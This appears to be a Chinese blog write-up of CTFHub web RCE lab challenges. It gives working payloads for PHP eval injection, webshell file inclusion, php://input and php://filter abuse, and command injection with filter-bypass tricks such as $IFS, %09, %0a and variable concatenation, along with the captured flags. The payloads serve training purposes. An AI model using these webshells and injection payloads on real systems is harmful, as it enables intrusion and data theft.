• CTFHUB-web-RCE


    eval执行

     <?php
    if (isset($_REQUEST['cmd'])) {
        eval($_REQUEST["cmd"]);
    } else {
        highlight_file(__FILE__);
    }
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    看下当前目录

    ?cmd=print_r(getcwd());
    
    • 1

    在这里插入图片描述

    可以执行命令

    print_r(system('ls'));
    
    • 1

    在这里插入图片描述

    查看上级目录?cmd=print_r(system('ls ../../../'));

    在这里插入图片描述

    直接cat flag?cmd=print_r(system('cat ../../../flag_17045'));

    在这里插入图片描述

    ==flag{ctfhub{1386122887aeba8899f58668} ==

    容易导致其他问题的函数

    assert()										pcntl_exex()
    array_filter()									preg_replace()
    array_map()										require()
    array_reduce()									require_once()
    array_diff_uassoc()								register_shutdown_function()
    array_diff_ukey()								register_tick_function()
    array_udiff()									set_error_handler()
    array_udiff_assoc()								shell_exec()
    array_udiff_uassoc()							stream_filter_register()
    array_intersect_assoc()							system()
    array_intersect_uassoc()						usort()
    array_uintersect()								uasort()
    array_uintersect_assoc()						uksort()
    array_uintersect_uassoc()						xml_set_character_data_handler()
    array_walk()									xml_set_default_handler()
    array_walk_recursive()							xml_set_element_handler()
    create_function()								xml_set_external_entity_ref_handler()
    escapeshellcmd()								xml_set_notation_decl_handler()
    exec()											xml_set_processing_instruction_handler()
    include											xml_set_start_namespace_decl_handler()
    include_once()									xml_set_unparsed_entity_decl_handler()
    ob_start()
    passthru()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    文件包含

    在这里插入图片描述

    有个shell文件

    <?php eval($_REQUEST['ctfhub']);?>
    
    • 1

    包含shell.txt后可以通过post来传递参数,注意后面要加上个 ‘;’

    在这里插入图片描述

    直接cat /flag

    在这里插入图片描述

    flag: ctfhub{f2b453955e0f17c23a1bc9ac}

    php://input

    • php://input

    可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

    用法:?file=php://input 数据利用POST传过去。

    • php://input (读取POST数据)

    碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

    利用post传参写入一句话木马

    <?PHP fputs(fopen('shell.php','w'),'');?>
    
    • 1

    在这里插入图片描述

    flag: ctfhub{cb3d5ba59ebc6b2db398812f}

    远程包含

    在这里插入图片描述

    PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

    allow_url_fopen = On(是否允许打开远程文件)
    
    allow_url_include = On(是否允许include/require远程文件)
    
    • 1
    • 2
    • 3

    看php文件这两个都是打开的

    在这里插入图片描述

    这个得要台服务器,或者自个搭一个用内网穿透也行,远程包含自己的文件

    在这里插入图片描述

    比如之前的shell.txt

    <?php eval($_REQUEST['ctfhub']);?>
    
    • 1

    我这里就不用了

    有回显,还是能用上面的那个php://input来利用

    post直接传参

    在这里插入图片描述

    还是直接获取flag

    <?php system('cat /flag')?>
    
    • 1

    flag : ctfhub{f5517ca3b04b51aa31b49aa4}

    读取源代码

    使用: php://filter(本地磁盘文件进行读取)
    元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
    
    • 1

    提示flag在根目录下,直接看就行

    ?file=php://filter/read=convert.base64-encode/resource=../../../../../../flag
    
    • 1

    在这里插入图片描述

    base64解码

    在这里插入图片描述

    flag: ctfhub{6b3a6d0e01d6832e740d3074}

    命令注入

    加上个分号,执行完ping就会执行ls命令

    在这里插入图片描述

    直接查看23032094216117.php,然后看源代码就能看到flag

    在这里插入图片描述

    ctfhub{27f12d5007ca3d45f7365bc6}

    过滤cat

    还是一样的操作,只不过他不能用cat命令了

    在这里插入图片描述

    可以用head命令来代替cat

    在这里插入图片描述

    其他常用的文本查看命令

    cat:从第一行开始显示文本内容(适用于内容较少的)
    tac:从最后一行开始显示,是 cat 的逆顺序
    more:一页一页的显示文本内容(适用于内容较多的)
    less:与 more 类似,但是比 more 更好的是,它可以往前翻页!
    head:只看文本的前面几行
    tail:只看文本的后面几行
    nl:显示文本内容与行号
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    flag : ctfhub{99e637628c4511cfb8c681c2}

    过滤空格

    可以用==<==来代替空格

    在这里插入图片描述

    其他绕过空格的方式

    cat flag.txt
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat<flag.txt
    cat<>flag.txt
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    flag: ctfhub{e9621b066f9456151a78a8d5}

    过滤目录分隔符

    可以直接进入该目录这样就不用目录分隔符了

    在这里插入图片描述

    flag : ctfhub{eeab934565c4d501dc410050}

    过滤运算符

    可以用这些字符代替

    linux中:%0a 、%0d 、;&|&&||
    
    windows中:%0a、&|
    
    • 1
    • 2
    • 3

    没啥影响,直接用分号==;== 就行

    在这里插入图片描述

    flag:ctfhub{9769a758a85a9e8a83d591b4}

    综合过滤练习

    看了下过滤了很多东东

    !preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)
    
    • 1

    可以用==%0a==(换行符)来代替分隔符,用==%09==来代替空格

    在这里插入图片描述

    过滤flag可以用拼接的方法解决,比如

    a=fl
    b=ag_is_here
    a a ab 就相当于flag_is_here

    http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag_is_here%0als%09$a$b#
    
    • 1

    在这里插入图片描述

    依旧还是用拼接的方法读取文件

    http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag%0ac=_is_here%0acd%09$a$b$c%0ad=_2223101105257.php%0ahead%09$a$b$d#
    
    • 1

    在这里插入图片描述

    flag: ctfhub{e30304e28433f41432168496}

  • 相关阅读:
    Python中的协程是什么以及如何在Python中实现异步编程
    飞思卡尔 S12 (X)串口下载移植
    《公共管理学》考试重点及答案
    0605-JavaSE-单例模式-饿懒汉模式
    外贸干货/与非洲客户打交道要知道的几点
    祖冲之序列密码算法高性能硬件实现关键技术研究
    设计模式之装饰模式(学习笔记)
    TypeScript 4.8 beta 发布:正在路上的装饰器、类型收窄增强、模板字符串类型中的 infer
    juc并发编程
    2023年考PMP证书有什么意义?
  • 原文地址:https://blog.csdn.net/ookami6497/article/details/128161692